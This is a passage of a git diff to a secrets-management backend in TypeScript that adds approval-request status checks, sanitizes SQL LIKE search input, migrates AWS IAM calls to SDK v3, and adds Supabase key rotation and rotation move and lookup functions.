+            .orWhereILike(`secretKey`, `%${sanitizeSqlLikeString(search)}%`);
         });
       }
 
diff --git a/backend/src/ee/services/secret-approval-request/secret-approval-request-fns.ts b/backend/src/ee/services/secret-approval-request/secret-approval-request-fns.ts
index c169fad5e0c..211ef029849 100644
--- a/backend/src/ee/services/secret-approval-request/secret-approval-request-fns.ts
+++ b/backend/src/ee/services/secret-approval-request/secret-approval-request-fns.ts
@@ -37,7 +37,7 @@ export const sendApprovalEmailsFn = async ({
       type: NotificationType.SECRET_CHANGE_REQUEST,
       title: "Secret Change Request",
       body: `You have a new secret change request pending your review for the project **${project.name}** in the organization **${project.organization.name}**.`,
-      link: `/organizations/${project.orgId}/projects/secret-management/${project.id}/approval`
+      link: `/organizations/${project.orgId}/projects/secret-management/${project.id}/approval?requestId=${secretApprovalRequest.id}`
     }))
   );
 
@@ -51,7 +51,7 @@ export const sendApprovalEmailsFn = async ({
         firstName: reviewerUser.firstName,
         projectName: project.name,
         organizationName: project.organization.name,
-        approvalUrl: `${cfg.SITE_URL}/organizations/${project.orgId}/projects/secret-management/${project.id}/approval`
+        approvalUrl: `${cfg.SITE_URL}/organizations/${project.orgId}/projects/secret-management/${project.id}/approval?requestId=${secretApprovalRequest.id}`
       },
       template: SmtpTemplates.SecretApprovalRequestNeedsReview
     });
diff --git a/backend/src/ee/services/secret-approval-request/secret-approval-request-service.ts b/backend/src/ee/services/secret-approval-request/secret-approval-request-service.ts
index bc40ea8db56..7ba9465372b 100644
--- a/backend/src/ee/services/secret-approval-request/secret-approval-request-service.ts
+++ b/backend/src/ee/services/secret-approval-request/secret-approval-request-service.ts
@@ -20,6 +20,8 @@ import { BadRequestError, ForbiddenRequestError, NotFoundError } from "@app/lib/
 import { groupBy, pick, unique } from "@app/lib/fn";
 import { setKnexStringValue } from "@app/lib/knex";
 import { alphaNumericNanoId } from "@app/lib/nanoid";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { EnforcementLevel } from "@app/lib/types";
 import { triggerWorkflowIntegrationNotification } from "@app/lib/workflow-integrations/trigger-notification";
 import { TriggerFeature } from "@app/lib/workflow-integrations/types";
@@ -479,12 +481,6 @@ export const secretApprovalRequestServiceFactory = ({
     actorAuthMethod,
     actorOrgId
   }: TReviewRequestDTO) => {
-    const secretApprovalRequest = await secretApprovalRequestDAL.findById(approvalId);
-    if (!secretApprovalRequest) {
-      throw new NotFoundError({ message: `Secret approval request with ID '${approvalId}' not found` });
-    }
-    if (actor !== ActorType.USER) throw new BadRequestError({ message: "Must be a user" });
-
     const plan = await licenseService.getPlan(actorOrgId);
     if (!plan.secretApproval) {
       throw new BadRequestError({
@@ -493,6 +489,15 @@ export const secretApprovalRequestServiceFactory = ({
       });
     }
 
+    const secretApprovalRequest = await secretApprovalRequestDAL.findById(approvalId);
+    if (!secretApprovalRequest) {
+      throw new NotFoundError({ message: `Secret approval request with ID '${approvalId}' not found` });
+    }
+    if (actor !== ActorType.USER) throw new BadRequestError({ message: "Must be a user" });
+
+    if (secretApprovalRequest.status !== RequestState.Open)
+      throw new BadRequestError({ message: "You can only review open approval requests" });
+
     const { policy } = secretApprovalRequest;
     if (policy.deletedAt) {
       throw new BadRequestError({
@@ -637,6 +642,10 @@ export const secretApprovalRequestServiceFactory = ({
       });
     }
 
+    if (secretApprovalRequest.hasMerged) throw new BadRequestError({ message: "Approval request has been merged" });
+    if (secretApprovalRequest.status !== RequestState.Open)
+      throw new BadRequestError({ message: "You can only approve or reject open approval requests" });
+
     const { hasRole } = await permissionService.getProjectPermission({
       actor: ActorType.USER,
       actorId,
@@ -708,21 +717,27 @@ export const secretApprovalRequestServiceFactory = ({
       if (secretUpdationCommits.length) {
         const secrets = await secretV2BridgeDAL.findBySecretKeys(
           folderId,
-          secretCreationCommits.map((el) => ({
+          secretUpdationCommits.map((el) => ({
             key: el.key,
             type: SecretType.Shared
           }))
         );
-        const updationConflictSecretsGroupByKey = groupBy(secrets, (i) => i.key);
+        const updationSecretsGroupByKey = groupBy(secrets, (i) => i.key);
         secretUpdationCommits
-          .filter(({ key, secretId }) => updationConflictSecretsGroupByKey[key] || !secretId)
+          .filter(({ key, secretId }) => {
+            const dbSecret = updationSecretsGroupByKey[key]?.[0];
+            // Conflict if: secret doesn't exist OR secretId doesn't match (was recreated) OR no secretId in commit
+            return !dbSecret || dbSecret.id !== secretId || !secretId;
+          })
           .forEach((el) => {
             conflicts.push({ op: SecretOperations.Update, secretId: el.id });
           });
 
-        secretUpdationCommits = secretUpdationCommits.filter(
-          ({ key, secretId }) => Boolean(secretId) && !updationConflictSecretsGroupByKey[key]
-        );
+        secretUpdationCommits = secretUpdationCommits.filter(({ key, secretId }) => {
+          const dbSecret = updationSecretsGroupByKey[key]?.[0];
+          // Valid if: secret exists AND secretId matches AND has secretId
+          return dbSecret && dbSecret.id === secretId && Boolean(secretId);
+        });
       }
 
       const secretDeletionCommits = secretApprovalSecrets.filter(({ op }) => op === SecretOperations.Delete);
@@ -1630,7 +1645,9 @@ export const secretApprovalRequestServiceFactory = ({
     const cfg = getConfig();
     const approvalUrl = `${cfg.SITE_URL}${approvalPath}?requestId=${secretApprovalRequest.id}`;
 
-    const project = await projectDAL.findById(projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
+      projectDAL.findById(projectId)
+    );
     await triggerWorkflowIntegrationNotification({
       input: {
         projectId,
diff --git a/backend/src/ee/services/secret-replication/secret-replication-service.ts b/backend/src/ee/services/secret-replication/secret-replication-service.ts
index 21a56343a02..8e7212597d7 100644
--- a/backend/src/ee/services/secret-replication/secret-replication-service.ts
+++ b/backend/src/ee/services/secret-replication/secret-replication-service.ts
@@ -2,7 +2,7 @@ import { SecretType, TSecrets, TSecretsV2 } from "@app/db/schemas";
 import { TSecretApprovalPolicyServiceFactory } from "@app/ee/services/secret-approval-policy/secret-approval-policy-service";
 import { TSecretApprovalRequestDALFactory } from "@app/ee/services/secret-approval-request/secret-approval-request-dal";
 import { TSecretApprovalRequestSecretDALFactory } from "@app/ee/services/secret-approval-request/secret-approval-request-secret-dal";
-import { KeyStorePrefixes, TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
 import { crypto, SymmetricKeySize } from "@app/lib/crypto/cryptography";
 import { NotFoundError } from "@app/lib/errors";
 import { groupBy, unique } from "@app/lib/fn";
@@ -93,7 +93,6 @@ type TSecretReplicationServiceFactoryDep = {
 };
 
 export type TSecretReplicationServiceFactory = ReturnType<typeof secretReplicationServiceFactory>;
-const SECRET_IMPORT_SUCCESS_LOCK = 10;
 
 const keystoreReplicationSuccessKey = (jobId: string, secretImportId: string) => `${jobId}-${secretImportId}`;
 const getReplicationKeyLockPrefix = (projectId: string, environmentSlug: string, secretPath: string) =>
@@ -577,7 +576,7 @@ export const secretReplicationServiceFactory = ({
             // this is used to avoid multiple times generating secret approval by failed one
             await keyStore.setItemWithExpiry(
               keystoreReplicationSuccessKey(job.id as string, destinationSecretImport.id),
-              SECRET_IMPORT_SUCCESS_LOCK,
+              KeyStoreTtls.SecretReplicationSuccessInSeconds,
               1,
               KeyStorePrefixes.SecretReplication
             );
@@ -863,7 +862,7 @@ export const secretReplicationServiceFactory = ({
           // this is used to avoid multiple times generating secret approval by failed one
           await keyStore.setItemWithExpiry(
             keystoreReplicationSuccessKey(job.id as string, destinationSecretImport.id),
-            SECRET_IMPORT_SUCCESS_LOCK,
+            KeyStoreTtls.SecretReplicationSuccessInSeconds,
             1,
             KeyStorePrefixes.SecretReplication
           );
diff --git a/backend/src/ee/services/secret-rotation-v2/aws-iam-user-secret/aws-iam-user-secret-rotation-fns.ts b/backend/src/ee/services/secret-rotation-v2/aws-iam-user-secret/aws-iam-user-secret-rotation-fns.ts
index d581cb5b9a6..b4782a240fc 100644
--- a/backend/src/ee/services/secret-rotation-v2/aws-iam-user-secret/aws-iam-user-secret-rotation-fns.ts
+++ b/backend/src/ee/services/secret-rotation-v2/aws-iam-user-secret/aws-iam-user-secret-rotation-fns.ts
@@ -1,4 +1,10 @@
-import IAM from "aws-sdk/clients/iam.js";
+import {
+  type AccessKeyMetadata,
+  CreateAccessKeyCommand,
+  DeleteAccessKeyCommand,
+  IAMClient,
+  ListAccessKeysCommand
+} from "@aws-sdk/client-iam";
 
 import {
   TAwsIamUserSecretRotationGeneratedCredentials,
@@ -13,7 +19,7 @@ import {
 } from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-types";
 import { getAwsConnectionConfig } from "@app/services/app-connection/aws";
 
-const getCreateDate = (key: IAM.AccessKeyMetadata): number => {
+const getCreateDate = (key: AccessKeyMetadata): number => {
   return key.CreateDate ? new Date(key.CreateDate).getTime() : 0;
 };
 
@@ -28,10 +34,10 @@ export const awsIamUserSecretRotationFactory: TRotationFactory<
   } = secretRotation;
 
   const $rotateClientSecret = async () => {
-    const { credentials } = await getAwsConnectionConfig(connection, region);
-    const iam = new IAM({ credentials });
+    const { credentials, region: resolvedRegion } = await getAwsConnectionConfig(connection, region);
+    const iam = new IAMClient({ credentials, region: resolvedRegion });
 
-    const { AccessKeyMetadata } = await iam.listAccessKeys({ UserName: userName }).promise();
+    const { AccessKeyMetadata } = await iam.send(new ListAccessKeysCommand({ UserName: userName }));
 
     if (AccessKeyMetadata && AccessKeyMetadata.length > 0) {
       // Sort keys by creation date (oldest first)
@@ -41,21 +47,21 @@ export const awsIamUserSecretRotationFactory: TRotationFactory<
       if (sortedKeys.length >= 2) {
         const accessId = sortedKeys[0].AccessKeyId || sortedKeys[1].AccessKeyId;
         if (accessId) {
-          await iam
-            .deleteAccessKey({
+          await iam.send(
+            new DeleteAccessKeyCommand({
               UserName: userName,
               AccessKeyId: accessId
             })
-            .promise();
+          );
         }
       }
     }
 
-    const { AccessKey } = await iam.createAccessKey({ UserName: userName }).promise();
+    const { AccessKey } = await iam.send(new CreateAccessKeyCommand({ UserName: userName }));
 
     return {
-      accessKeyId: AccessKey.AccessKeyId,
-      secretAccessKey: AccessKey.SecretAccessKey
+      accessKeyId: AccessKey?.AccessKeyId ?? "",
+      secretAccessKey: AccessKey?.SecretAccessKey ?? ""
     };
   };
 
@@ -71,17 +77,17 @@ export const awsIamUserSecretRotationFactory: TRotationFactory<
     generatedCredentials,
     callback
   ) => {
-    const { credentials } = await getAwsConnectionConfig(connection, region);
-    const iam = new IAM({ credentials });
+    const { credentials, region: resolvedRegion } = await getAwsConnectionConfig(connection, region);
+    const iam = new IAMClient({ credentials, region: resolvedRegion });
 
     await Promise.all(
       generatedCredentials.map((generatedCredential) =>
-        iam
-          .deleteAccessKey({
+        iam.send(
+          new DeleteAccessKeyCommand({
             UserName: userName,
             AccessKeyId: generatedCredential.accessKeyId
           })
-          .promise()
+        )
       )
     );
 
diff --git a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-dal.ts b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-dal.ts
index 4ef50038ccd..77bd7e69ac3 100644
--- a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-dal.ts
+++ b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-dal.ts
@@ -4,6 +4,7 @@ import { TDbClient } from "@app/db";
 import { TableName } from "@app/db/schemas";
 import { TSecretRotationsV2 } from "@app/db/schemas/secret-rotations-v2";
 import { DatabaseError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import {
   buildFindFilter,
   ormify,
@@ -198,10 +199,11 @@ export const secretRotationV2DALFactory = (
       .countDistinct(`${TableName.SecretRotationV2}.name`);
 
     if (search) {
+      const sanitizedSearch = sanitizeSqlLikeString(search);
       void query.where((qb) => {
         void qb
-          .whereILike(`${TableName.SecretV2}.key`, `%${search}%`)
-          .orWhereILike(`${TableName.SecretRotationV2}.name`, `%${search}%`);
+          .whereILike(`${TableName.SecretV2}.key`, `%${sanitizedSearch}%`)
+          .orWhereILike(`${TableName.SecretRotationV2}.name`, `%${sanitizedSearch}%`);
       });
     }
 
@@ -265,10 +267,11 @@ export const secretRotationV2DALFactory = (
         );
 
       if (search) {
+        const sanitizedSearch = sanitizeSqlLikeString(search);
         void subquery.where((qb) => {
           void qb
-            .whereILike(`${TableName.SecretV2}.key`, `%${search}%`)
-            .orWhereILike(`${TableName.SecretRotationV2}.name`, `%${search}%`);
+            .whereILike(`${TableName.SecretV2}.key`, `%${sanitizedSearch}%`)
+            .orWhereILike(`${TableName.SecretRotationV2}.name`, `%${sanitizedSearch}%`);
         });
       }
 
@@ -469,6 +472,88 @@ export const secretRotationV2DALFactory = (
     }
   };
 
+  const findByProjectAndDateRange = async (
+    {
+      projectId,
+      startDate,
+      endDate
+    }: {
+      projectId: string;
+      startDate: Date;
+      endDate: Date;
+    },
+    tx?: Knex
+  ) => {
+    try {
+      const query = (tx || db.replicaNode())(TableName.SecretRotationV2)
+        .join(TableName.SecretFolder, `${TableName.SecretRotationV2}.folderId`, `${TableName.SecretFolder}.id`)
+        .join(TableName.Environment, `${TableName.SecretFolder}.envId`, `${TableName.Environment}.id`)
+        .join(TableName.AppConnection, `${TableName.SecretRotationV2}.connectionId`, `${TableName.AppConnection}.id`)
+        .join(
+          TableName.SecretRotationV2SecretMapping,
+          `${TableName.SecretRotationV2SecretMapping}.rotationId`,
+          `${TableName.SecretRotationV2}.id`
+        )
+        .join(TableName.SecretV2, `${TableName.SecretV2}.id`, `${TableName.SecretRotationV2SecretMapping}.secretId`)
+        .where(`${TableName.Environment}.projectId`, projectId)
+        .whereNotNull(`${TableName.SecretRotationV2}.nextRotationAt`);
+
+      const rawRotations = await query
+        .whereBetween(`${TableName.SecretRotationV2}.nextRotationAt`, [startDate, endDate])
+        .select(
+          selectAllTableCols(TableName.SecretRotationV2),
+          db.ref("name").withSchema(TableName.Environment).as("envName"),
+          db.ref("id").withSchema(TableName.Environment).as("envId"),
+          db.ref("slug").withSchema(TableName.Environment).as("envSlug"),
+          db.ref("id").withSchema(TableName.AppConnection).as("connectionAppId"),
+          db.ref("key").withSchema(TableName.SecretV2).as("secretKey"),
+          db.ref("id").withSchema(TableName.SecretV2).as("secretId")
+        );
+
+      if (!rawRotations.length) return [];
+
+      const foldersWithPath = await folderDAL.findSecretPathByFolderIds(
+        projectId,
+        rawRotations.map((r) => r.folderId),
+        tx
+      );
+
+      const folderRecord: Record<string, (typeof foldersWithPath)[number]> = {};
+      foldersWithPath.forEach((folder) => {
+        if (folder) folderRecord[folder.id] = folder;
+      });
+
+      return sqlNestRelationships({
+        data: rawRotations,
+        key: "id",
+        parentMapper: (rotation) => ({
+          id: rotation.id,
+          name: rotation.name,
+          type: rotation.type,
+          nextRotationAt: rotation.nextRotationAt,
+          rotationInterval: rotation.rotationInterval,
+          rotationStatus: rotation.rotationStatus,
+          isAutoRotationEnabled: rotation.isAutoRotationEnabled,
+          environment: { slug: rotation.envSlug, name: rotation.envName, id: rotation.envId },
+          folder: {
+            id: rotation.folderId,
+            path: folderRecord[rotation.folderId]?.path ?? "/"
+          },
+          connection: { id: rotation.connectionAppId }
+        }),
+        childrenMapper: [
+          {
+            key: "secretKey",
+            label: "secretKeys" as const,
+            mapper: ({ secretKey }) => secretKey
+          }
+        ]
+      });
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Find Calendar Rotations - Secret Rotation V2" });
+    }
+  };
+
   const findSecretRotationsToQueue = async (rotateBy: Date, tx?: Knex) => {
     const secretRotations = await (tx || db.replicaNode())(TableName.SecretRotationV2)
       .where(`${TableName.SecretRotationV2}.isAutoRotationEnabled`, true)
@@ -479,6 +564,73 @@ export const secretRotationV2DALFactory = (
     return secretRotations;
   };
 
+  const findByProject = async (projectId: string, tx?: Knex) => {
+    try {
+      const rawRotations = await (tx || db.replicaNode())(TableName.SecretRotationV2)
+        .join(TableName.SecretFolder, `${TableName.SecretRotationV2}.folderId`, `${TableName.SecretFolder}.id`)
+        .join(TableName.Environment, `${TableName.SecretFolder}.envId`, `${TableName.Environment}.id`)
+        .join(TableName.AppConnection, `${TableName.SecretRotationV2}.connectionId`, `${TableName.AppConnection}.id`)
+        .join(
+          TableName.SecretRotationV2SecretMapping,
+          `${TableName.SecretRotationV2SecretMapping}.rotationId`,
+          `${TableName.SecretRotationV2}.id`
+        )
+        .join(TableName.SecretV2, `${TableName.SecretV2}.id`, `${TableName.SecretRotationV2SecretMapping}.secretId`)
+        .where(`${TableName.Environment}.projectId`, projectId)
+        .select(
+          selectAllTableCols(TableName.SecretRotationV2),
+          db.ref("name").withSchema(TableName.Environment).as("envName"),
+          db.ref("id").withSchema(TableName.Environment).as("envId"),
+          db.ref("slug").withSchema(TableName.Environment).as("envSlug"),
+          db.ref("id").withSchema(TableName.AppConnection).as("connectionAppId"),
+          db.ref("key").withSchema(TableName.SecretV2).as("secretKey"),
+          db.ref("id").withSchema(TableName.SecretV2).as("secretId")
+        );
+
+      if (!rawRotations.length) return [];
+
+      const foldersWithPath = await folderDAL.findSecretPathByFolderIds(
+        projectId,
+        rawRotations.map((r) => r.folderId),
+        tx
+      );
+
+      const folderRecord: Record<string, (typeof foldersWithPath)[number]> = {};
+      foldersWithPath.forEach((folder) => {
+        if (folder) folderRecord[folder.id] = folder;
+      });
+
+      return sqlNestRelationships({
+        data: rawRotations,
+        key: "id",
+        parentMapper: (rotation) => ({
+          id: rotation.id,
+          name: rotation.name,
+          type: rotation.type,
+          nextRotationAt: rotation.nextRotationAt,
+          rotationInterval: rotation.rotationInterval,
+          rotationStatus: rotation.rotationStatus,
+          isAutoRotationEnabled: rotation.isAutoRotationEnabled,
+          environment: { slug: rotation.envSlug, name: rotation.envName, id: rotation.envId },
+          folder: {
+            id: rotation.folderId,
+            path: folderRecord[rotation.folderId]?.path ?? "/"
+          },
+          connection: { id: rotation.connectionAppId }
+        }),
+        childrenMapper: [
+          {
+            key: "secretKey",
+            label: "secretKeys" as const,
+            mapper: ({ secretKey }) => secretKey
+          }
+        ]
+      });
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Find by Project - Secret Rotation V2" });
+    }
+  };
+
   return {
     ...secretRotationV2Orm,
     find,
@@ -490,6 +642,8 @@ export const secretRotationV2DALFactory = (
     insertSecretMappings: secretRotationV2SecretMappingOrm.insertMany,
     findWithMappedSecrets,
     findWithMappedSecretsCount,
+    findByProjectAndDateRange,
+    findByProject,
     findSecretRotationsToQueue
   };
 };
diff --git a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-enums.ts b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-enums.ts
index 968c61a27b5..4643531cc87 100644
--- a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-enums.ts
+++ b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-enums.ts
@@ -15,7 +15,8 @@ export enum SecretRotation {
   DbtServiceToken = "dbt-service-token",
   WindowsLocalAccount = "windows-local-account",
   OpenRouterApiKey = "open-router-api-key",
-  HpIloLocalAccount = "hp-ilo-local-account"
+  HpIloLocalAccount = "hp-ilo-local-account",
+  SupabaseApiKey = "supabase-api-key"
 }
 
 export enum SecretRotationStatus {
diff --git a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-fns.ts b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-fns.ts
index c5950d9b29b..3a47fa50b25 100644
--- a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-fns.ts
+++ b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-fns.ts
@@ -32,6 +32,7 @@ import {
   TSecretRotationV2Raw,
   TUpdateSecretRotationV2DTO
 } from "./secret-rotation-v2-types";
+import { SUPABASE_API_KEY_ROTATION_LIST_OPTION, TSupabaseApiKeyRotation } from "./supabase-api-key";
 import {
   TUnixLinuxLocalAccountRotation,
   UNIX_LINUX_LOCAL_ACCOUNT_ROTATION_LIST_OPTION
@@ -58,7 +59,8 @@ const SECRET_ROTATION_LIST_OPTIONS: Record<SecretRotation, TSecretRotationV2List
   [SecretRotation.DbtServiceToken]: DBT_SERVICE_TOKEN_ROTATION_LIST_OPTION,
   [SecretRotation.WindowsLocalAccount]: WINDOWS_LOCAL_ACCOUNT_ROTATION_LIST_OPTION,
   [SecretRotation.OpenRouterApiKey]: OPEN_ROUTER_API_KEY_ROTATION_LIST_OPTION,
-  [SecretRotation.HpIloLocalAccount]: HP_ILO_ROTATION_LIST_OPTION
+  [SecretRotation.HpIloLocalAccount]: HP_ILO_ROTATION_LIST_OPTION,
+  [SecretRotation.SupabaseApiKey]: SUPABASE_API_KEY_ROTATION_LIST_OPTION
 };
 
 export const listSecretRotationOptions = () => {
@@ -359,6 +361,17 @@ export const throwOnImmutableParameterUpdate = (
         throw new BadRequestError({ message: "Cannot update rotation method or username" });
       }
       break;
+    case SecretRotation.SupabaseApiKey:
+      if (
+        haveUnequalProperties(
+          updatePayload.parameters as TSupabaseApiKeyRotation["parameters"],
+          secretRotation.parameters as TSupabaseApiKeyRotation["parameters"],
+          ["projectRef", "keyType"]
+        )
+      ) {
+        throw new BadRequestError({ message: "Cannot update project reference or key type" });
+      }
+      break;
     default:
     // do nothing
   }
diff --git a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-maps.ts b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-maps.ts
index 15572f274b9..ca22e153cce 100644
--- a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-maps.ts
+++ b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-maps.ts
@@ -18,7 +18,8 @@ export const SECRET_ROTATION_NAME_MAP: Record<SecretRotation, string> = {
   [SecretRotation.DbtServiceToken]: "DBT Service Token",
   [SecretRotation.WindowsLocalAccount]: "Windows Local Account",
   [SecretRotation.OpenRouterApiKey]: "OpenRouter API Key",
-  [SecretRotation.HpIloLocalAccount]: "HP iLO Local Account"
+  [SecretRotation.HpIloLocalAccount]: "HP iLO Local Account",
+  [SecretRotation.SupabaseApiKey]: "Supabase API Key"
 };
 
 export const SECRET_ROTATION_CONNECTION_MAP: Record<SecretRotation, AppConnection> = {
@@ -38,5 +39,6 @@ export const SECRET_ROTATION_CONNECTION_MAP: Record<SecretRotation, AppConnectio
   [SecretRotation.DbtServiceToken]: AppConnection.Dbt,
   [SecretRotation.WindowsLocalAccount]: AppConnection.SMB,
   [SecretRotation.OpenRouterApiKey]: AppConnection.OpenRouter,
-  [SecretRotation.HpIloLocalAccount]: AppConnection.SSH
+  [SecretRotation.HpIloLocalAccount]: AppConnection.SSH,
+  [SecretRotation.SupabaseApiKey]: AppConnection.Supabase
 };
diff --git a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-service.ts b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-service.ts
index 62fe98b8f83..2508742402e 100644
--- a/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-service.ts
+++ b/backend/src/ee/services/secret-rotation-v2/secret-rotation-v2-service.ts
@@ -42,6 +42,7 @@ import {
   TGetDashboardSecretRotationsV2,
   TGetDashboardSecretRotationV2Count,
   TListSecretRotationsV2ByProjectId,
+  TMoveSecretRotationV2DTO,
   TQuickSearchSecretRotationsV2,
   TRotateSecretRotationV2,
   TRotationFactory,
@@ -80,6 +81,7 @@ import {
   fnSecretBulkDelete,
   fnSecretBulkInsert,
   fnSecretBulkUpdate,
+  fnUpdateMovedSecretReferences,
   reshapeBridgeSecret
 } from "@app/services/secret-v2-bridge/secret-v2-bridge-fns";
 import { TSecretVersionV2DALFactory } from "@app/services/secret-v2-bridge/secret-version-dal";
@@ -97,6 +99,7 @@ import { oktaClientSecretRotationFactory } from "./okta-client-secret/okta-clien
 import { openRouterApiKeyRotationFactory } from "./open-router-api-key/open-router-api-key-rotation-fns";
 import { redisCredentialsRotationFactory } from "./redis-credentials/redis-credentials-rotation-fns";
 import { TSecretRotationV2DALFactory } from "./secret-rotation-v2-dal";
+import { supabaseApiKeyRotationFactory } from "./supabase-api-key/supabase-api-key-rotation-fns";
 import { unixLinuxLocalAccountRotationFactory } from "./unix-linux-local-account-rotation/unix-linux-local-account-rotation-fns";
 import { UnixLinuxLocalAccountRotationMethod } from "./unix-linux-local-account-rotation/unix-linux-local-account-rotation-schemas";
 import {
@@ -125,12 +128,24 @@ export type TSecretRotationV2ServiceFactoryDep = {
   licenseService: Pick<TLicenseServiceFactory, "getPlan">;
   auditLogService: Pick<TAuditLogServiceFactory, "createAuditLog">;
   keyStore: Pick<TKeyStoreFactory, "acquireLock" | "setItemWithExpiry" | "getItem">;
-  folderDAL: Pick<TSecretFolderDALFactory, "findBySecretPath" | "findBySecretPathMultiEnv">;
+  folderDAL: Pick<
+    TSecretFolderDALFactory,
+    "findBySecretPath" | "findBySecretPathMultiEnv" | "findSecretPathByFolderIds"
+  >;
   secretV2BridgeDAL: Pick<
     TSecretV2BridgeDALFactory,
-    "bulkUpdate" | "insertMany" | "deleteMany" | "upsertSecretReferences" | "find" | "invalidateSecretCacheByProjectId"
+    | "bulkUpdate"
+    | "insertMany"
+    | "deleteMany"
+    | "upsertSecretReferences"
+    | "find"
+    | "findOne"
+    | "updateById"
+    | "findReferencedSecretReferencesBySecretKey"
+    | "updateSecretReferenceEnvAndPath"
+    | "invalidateSecretCacheByProjectId"
   >;
-  secretVersionV2BridgeDAL: Pick<TSecretVersionV2DALFactory, "insertMany" | "findLatestVersionMany">;
+  secretVersionV2BridgeDAL: Pick<TSecretVersionV2DALFactory, "insertMany" | "findLatestVersionMany" | "update">;
   secretVersionTagV2BridgeDAL: Pick<TSecretVersionV2TagDALFactory, "insertMany">;
   resourceMetadataDAL: Pick<TResourceMetadataDALFactory, "insertMany" | "delete">;
   secretTagDAL: Pick<TSecretTagDALFactory, "saveTagsToSecretV2" | "deleteTagsToSecretV2" | "find">;
@@ -170,7 +185,8 @@ const SECRET_ROTATION_FACTORY_MAP: Record<SecretRotation, TRotationFactoryImplem
   [SecretRotation.DbtServiceToken]: dbtServiceTokenRotationFactory as TRotationFactoryImplementation,
   [SecretRotation.WindowsLocalAccount]: windowsLocalAccountRotationFactory as TRotationFactoryImplementation,
   [SecretRotation.OpenRouterApiKey]: openRouterApiKeyRotationFactory as TRotationFactoryImplementation,
-  [SecretRotation.HpIloLocalAccount]: hpIloRotationFactory as TRotationFactoryImplementation
+  [SecretRotation.HpIloLocalAccount]: hpIloRotationFactory as TRotationFactoryImplementation,
+  [SecretRotation.SupabaseApiKey]: supabaseApiKeyRotationFactory as TRotationFactoryImplementation
 };
 
 export const secretRotationV2ServiceFactory = ({
@@ -217,6 +233,26 @@ export const secretRotationV2ServiceFactory = ({
     );
   };
 
+  const $findConflictingSecrets = async ({
+    secretKeys,
+    folderId,
+    tx
+  }: {
+    secretKeys: string[];
+    folderId: string;
+    tx?: Knex;
+  }) =>
+    secretV2BridgeDAL.find(
+      {
+        $in: {
+          [`${TableName.SecretV2}.key` as "key"]: secretKeys
+        },
+        [`${TableName.SecretV2}.folderId` as "folderId"]: folderId,
+        [`${TableName.SecretV2}.type` as "type"]: SecretType.Shared
+      },
+      tx ? { tx } : undefined
+    );
+
   const $throwOnConflictingSecrets = async ({
     secretKeys,
     folderId,
@@ -234,16 +270,7 @@ export const secretRotationV2ServiceFactory = ({
       });
     }
 
-    const conflictingSecrets = await secretV2BridgeDAL.find(
-      {
-        $in: {
-          [`${TableName.SecretV2}.key` as "key"]: secretKeys
-        },
-        [`${TableName.SecretV2}.folderId` as "folderId"]: folderId,
-        [`${TableName.SecretV2}.type` as "type"]: SecretType.Shared
-      },
-      tx ? { tx } : undefined
-    );
+    const conflictingSecrets = await $findConflictingSecrets({ secretKeys, folderId, tx });
 
     if (conflictingSecrets.length) {
       throw new BadRequestError({
@@ -926,6 +953,200 @@ export const secretRotationV2ServiceFactory = ({
     return expandSecretRotation(secretRotation, kmsService);
   };
 
+  const moveSecretRotation = async (
+    { type, rotationId, destinationEnvironment, destinationSecretPath, overwriteDestination }: TMoveSecretRotationV2DTO,
+    actor: OrgServiceActor
+  ) => {
+    const plan = await licenseService.getPlan(actor.orgId);
+
+    if (!plan.secretRotation)
+      throw new BadRequestError({
+        message: "Failed to move secret rotation due to plan restriction. Upgrade plan to manage secret rotations."
+      });
+
+    const secretRotation = await secretRotationV2DAL.findById(rotationId);
+
+    if (!secretRotation)
+      throw new NotFoundError({
+        message: `Could not find ${SECRET_ROTATION_NAME_MAP[type]} Rotation with ID "${rotationId}"`
+      });
+
+    const { projectId, folderId: sourceFolderId, secretsMapping, folder, environment, connection } = secretRotation;
+
+    if (connection.app !== SECRET_ROTATION_CONNECTION_MAP[type])
+      throw new BadRequestError({
+        message: `Secret Rotation with ID "${rotationId}" is not configured for ${SECRET_ROTATION_NAME_MAP[type]}`
+      });
+
+    const isRotationOccurring = Boolean(await keyStore.getItem(KeyStorePrefixes.SecretRotationLock(secretRotation.id)));
+
+    if (isRotationOccurring)
+      throw new BadRequestError({
+        message: "A rotation is currently in progress for this secret rotation. Please try again shortly."
+      });
+
+    const { permission } = await permissionService.getProjectPermission({
+      actor: actor.type,
+      actorId: actor.id,
+      actorAuthMethod: actor.authMethod,
+      actorOrgId: actor.orgId,
+      actionProjectType: ActionProjectType.SecretManager,
+      projectId
+    });
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionSecretRotationActions.Delete,
+      getSecretRotationSubject(secretRotation)
+    );
+
+    const destinationFolder = await folderDAL.findBySecretPath(
+      projectId,
+      destinationEnvironment,
+      destinationSecretPath
+    );
+
+    if (!destinationFolder)
+      throw new NotFoundError({
+        message: `Destination folder with path "${destinationSecretPath}" in environment "${destinationEnvironment}" not found`
+      });
+
